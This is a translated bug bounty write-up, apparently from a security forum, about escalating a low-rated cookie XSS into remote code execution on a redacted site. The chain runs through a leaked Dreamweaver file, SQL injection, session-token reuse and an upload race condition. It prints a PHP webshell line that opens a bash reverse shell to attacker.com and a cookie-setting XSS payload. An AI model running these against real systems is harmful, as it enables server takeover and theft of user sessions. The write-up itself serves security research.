bugbounty:File Disclosure to Remote Code Execution

原文链接:https://medium.com/@mastomi/bug-bounty-exploiting-cookie-based-xss-by-finding-rce-a3e3e80041f3

前言

在bugcrowd上挖漏洞的时候,我发现基于cookie型的XSS漏洞,给出的评级仅是P5,并没有达到严重的程度,这将会导致可能拿不到奖金,这是非常遗憾的一件事情。

信息泄露

在bugcrowd中搜索一段时间之后,我并没有找到具有XSS漏洞的子域名,然后我试着使用目录爆破进行查找,在其中一个子域名上,我找到了一个有趣的文件。

https://redacted.com/dir/_notes/dwsync.xml

文件dwsync.xml是由Dreamweaver生成的,这个文件中包含与网站文件相关的信息。

SQL注入

默认情况下,访问网站需要凭据,然而,我无法在该网站上注册账户。上面我爆破得到的信息利用一下,根据dwsync.xml文件中的信息,我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件,例如我试图访问该文件redacted.php

在网站上看到会出现一条错误消息Undefined index: ver,这意味着在页面上有一些ver尚未定义的变量。为此,我还将URL更改为:

https://redacted.com/dir/redacted.php?ver=1

页面的外观不仅发生变化,而且还显示数字1

虽然,不知道数字1的含义是什么,但是看到URL中的参数,我试着在符号上添加参数,结果......

这个回显的错误看起来很熟悉,我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表:

  1. available databases [5]:
  2. [*] information_schema
  3. [*] mysql
  4. [*] performance_schema
  5. [*] redacted_db
  6. [*] tmp

身份验证绕过

由于已经发现了SQL注入漏洞,我试着将shell上传到目标服务器,但是结果失败了,所以我只能使用通过使用sql注入得到的网站数据,登录网站。

在提取redacted_db数据库时,我找到了一个名为user_tbl的表,在表格user中,提供了目标站点很多信息,但是很不幸的是,password使用了MD5进行加密,当我试着破解的时候,没有得到任何反应。

我只能去找在该数据库中的其它表,继续深入,我找到一个名为session_tbl的表,在该表中,只有三个列:iduser_idsession

我认为session中包含该网站的用户,我在user_tbl表中,查找具有更高级别的用户,并在表中查找session列,

然后,我尝试使用会话名称将从数据库获得的会话session值输入到Cookie网站中,最后我成功的登录了该网站。

无限制的文件上传

在登录目标站点之后,我继续寻找其它可以被利用的漏洞,在网站有一个文件上传的功能,我试着测试一下。

我尝试上传后缀名为.phtml的文件,但是被拒绝上传。

但我怀疑,过滤器只能在客户端运行。也就是说,有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp,再次上传文件,这次是的后缀名是:.jpg,然后使用Burpsuite拦截,将后缀名改为.phtml的后缀名。

使用上述方法后,文件已经成功上传,查看响应,该文件存储在AWS中,而不是存储在目标站点上。

https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml

远程代码执行

发现上传的文件存储在AWS中,知道自己在这个文件上可以做的事情并不多,因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。

/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235

从上面的响应中,我假设上传的文件除了存储在AWS上之外,有可能存储在目标站点的redacted目录下。所以我尝试访问以下网址:

https://redacted.com/redacted/redacted/info.phtml

但是找不到该文件

经过一段时间的思考之后,我认为如果回响显示目录,那么redacted与我上传的文件肯定是相关的。

假设:我们上传的文件存储在redacted中的sementara目录下,然后经过一段时间转移AWS服务器中的lempar目录下。

如果上述的假设是正确的,那么在转移到AWS之前,我们的文件将在目标站点的服务器上停留一段时间。

为了验证这个假设,我使用burpsuite进行爆破redacted前面目录中文件的url。

有一段时间该文件位于目标服务器上(HTTP回显是200的时候),并且在该文件消失不久(HTTP回显是404的时候),表明该文件已经转移至AWS服务器中。

根据上面的描述,我们可以上传PHP webshell以从目标网站拿到shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");

最后我还可以访问目标服务器。

在拿到shell之后,我放置了一个包含javascript的HTML文件,以便在该网站上触发XSS攻击。

使用的HTML代码如下

<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>

我们可以在redacted.com上创建一个名为Evil的cookie,cookie中包含XSS payload:<img src=x onerror=alert(1)>,因此,当访问该站点时,将加载Cookie并触发XSS。

结论

下面总结一些挖漏洞的技巧:

  1. 当发现低危漏洞时,最好不要立即上报,尽量扩大漏洞影响范围。

  2. 如果你发现该网站没有注册功能,使用dirsearch对目录进行爆破,爆破之后发现网站只显示一个登录页面,并没有注册功能,说明该网站只能由内部人员进行访问,对于这种类型的网站,通常漏洞还是很多的。

  3. 如果你发现SQL注入并且数据库上的用户名密码经过加密,可以查询该数据库下面的其它表,可能会有其它发现。

  4. 当你找到上传的测试点时,如果无法上传hell,尝试使用burp 更改上传文件的后缀名,进行上传操作。

感谢你的阅读,希望这篇文章可以给你启发。

点击收藏 | 3 关注 | 2
登录 后跟帖